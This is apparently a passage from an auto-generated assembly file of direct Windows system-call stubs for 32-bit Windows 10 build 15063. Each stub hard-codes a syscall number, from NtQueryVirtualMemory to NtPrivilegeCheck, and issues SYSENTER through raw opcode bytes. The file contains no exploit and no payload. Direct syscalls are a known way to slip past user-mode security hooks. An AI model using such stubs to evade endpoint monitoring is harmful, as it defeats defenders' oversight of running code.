mov eax , 150
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryVirtualMemory ENDP
; ULONG __stdcall NtQueryValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 151
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryValueKey ENDP
; ULONG __stdcall NtQueryTimerResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryTimerResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 152
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryTimerResolution ENDP
; ULONG __stdcall NtQueryTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 153
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryTimer ENDP
; ULONG __stdcall NtQuerySystemTime( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemTime PROC STDCALL arg_01:DWORD
mov eax , 154
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemTime ENDP
; ULONG __stdcall NtQuerySystemInformationEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemInformationEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 155
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemInformationEx ENDP
; ULONG __stdcall NtQuerySystemInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 156
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemInformation ENDP
; ULONG __stdcall NtQuerySystemEnvironmentValueEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemEnvironmentValueEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 157
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemEnvironmentValueEx ENDP
; ULONG __stdcall NtQuerySystemEnvironmentValue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemEnvironmentValue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 158
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySystemEnvironmentValue ENDP
; ULONG __stdcall NtQuerySymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 159
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySymbolicLinkObject ENDP
; ULONG __stdcall NtQuerySemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 160
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySemaphore ENDP
; ULONG __stdcall NtQuerySecurityPolicy( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySecurityPolicy PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 161
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySecurityPolicy ENDP
; ULONG __stdcall NtQuerySecurityObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySecurityObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 162
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySecurityObject ENDP
; ULONG __stdcall NtQuerySecurityAttributesToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySecurityAttributesToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 163
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySecurityAttributesToken ENDP
; ULONG __stdcall NtQuerySection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 164
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQuerySection ENDP
; ULONG __stdcall NtQueryQuotaInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryQuotaInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 165
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryQuotaInformationFile ENDP
; ULONG __stdcall NtQueryPortInformationProcess( );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryPortInformationProcess PROC STDCALL
mov eax , 166
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryPortInformationProcess ENDP
; ULONG __stdcall NtQueryPerformanceCounter( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryPerformanceCounter PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 167
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryPerformanceCounter ENDP
; ULONG __stdcall NtQueryOpenSubKeysEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryOpenSubKeysEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 168
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryOpenSubKeysEx ENDP
; ULONG __stdcall NtQueryOpenSubKeys( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryOpenSubKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 169
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryOpenSubKeys ENDP
; ULONG __stdcall NtQueryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 170
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryObject ENDP
; ULONG __stdcall NtQueryMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 171
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryMutant ENDP
; ULONG __stdcall NtQueryMultipleValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryMultipleValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 172
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryMultipleValueKey ENDP
; ULONG __stdcall NtQueryLicenseValue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryLicenseValue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 173
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryLicenseValue ENDP
; ULONG __stdcall NtQueryKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 174
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryKey ENDP
; ULONG __stdcall NtQueryIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 175
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryIoCompletion ENDP
; ULONG __stdcall NtQueryIntervalProfile( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryIntervalProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 176
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryIntervalProfile ENDP
; ULONG __stdcall NtQueryInstallUILanguage( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInstallUILanguage PROC STDCALL arg_01:DWORD
mov eax , 177
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInstallUILanguage ENDP
; ULONG __stdcall NtQueryInformationWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 178
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationWorkerFactory ENDP
; ULONG __stdcall NtQueryInformationTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 179
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationTransactionManager ENDP
; ULONG __stdcall NtQueryInformationTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 180
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationTransaction ENDP
; ULONG __stdcall NtQueryInformationToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 181
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationToken ENDP
; ULONG __stdcall NtQueryInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 182
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationThread ENDP
; ULONG __stdcall NtQueryInformationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 183
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationResourceManager ENDP
; ULONG __stdcall NtQueryInformationProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 184
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationProcess ENDP
; ULONG __stdcall NtQueryInformationPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 185
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationPort ENDP
; ULONG __stdcall NtQueryInformationJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 186
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationJobObject ENDP
; ULONG __stdcall NtQueryInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 187
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationFile ENDP
; ULONG __stdcall NtQueryInformationEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 188
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationEnlistment ENDP
; ULONG __stdcall NtQueryInformationByName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationByName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 189
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationByName ENDP
; ULONG __stdcall NtQueryInformationAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 190
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryInformationAtom ENDP
; ULONG __stdcall NtQueryFullAttributesFile( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryFullAttributesFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 191
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryFullAttributesFile ENDP
; ULONG __stdcall NtQueryEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 192
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryEvent ENDP
; ULONG __stdcall NtQueryEaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryEaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 193
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryEaFile ENDP
; ULONG __stdcall NtQueryDriverEntryOrder( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDriverEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 194
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDriverEntryOrder ENDP
; ULONG __stdcall NtQueryDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 195
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDirectoryObject ENDP
; ULONG __stdcall NtQueryDirectoryFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDirectoryFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 196
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDirectoryFile ENDP
; ULONG __stdcall NtQueryDefaultUILanguage( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDefaultUILanguage PROC STDCALL arg_01:DWORD
mov eax , 197
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDefaultUILanguage ENDP
; ULONG __stdcall NtQueryDefaultLocale( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDefaultLocale PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 198
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDefaultLocale ENDP
; ULONG __stdcall NtQueryDebugFilterState( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDebugFilterState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 199
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryDebugFilterState ENDP
; ULONG __stdcall NtQueryBootOptions( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryBootOptions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 200
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryBootOptions ENDP
; ULONG __stdcall NtQueryBootEntryOrder( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryBootEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 201
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryBootEntryOrder ENDP
; ULONG __stdcall NtQueryAttributesFile( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryAttributesFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 202
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtQueryAttributesFile ENDP
; ULONG __stdcall NtPulseEvent( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPulseEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 203
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPulseEvent ENDP
; ULONG __stdcall NtProtectVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtProtectVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 204
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtProtectVirtualMemory ENDP
; ULONG __stdcall NtPropagationFailed( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPropagationFailed PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 205
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPropagationFailed ENDP
; ULONG __stdcall NtPropagationComplete( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPropagationComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 206
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPropagationComplete ENDP
; ULONG __stdcall NtPrivilegeObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPrivilegeObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 207
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPrivilegeObjectAuditAlarm ENDP
; ULONG __stdcall NtPrivilegedServiceAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPrivilegedServiceAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 208
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtPrivilegedServiceAuditAlarm ENDP
; ULONG __stdcall NtPrivilegeCheck( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtPrivilegeCheck PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 209
call _label_sysenter
ret 12
_label_sysenter:
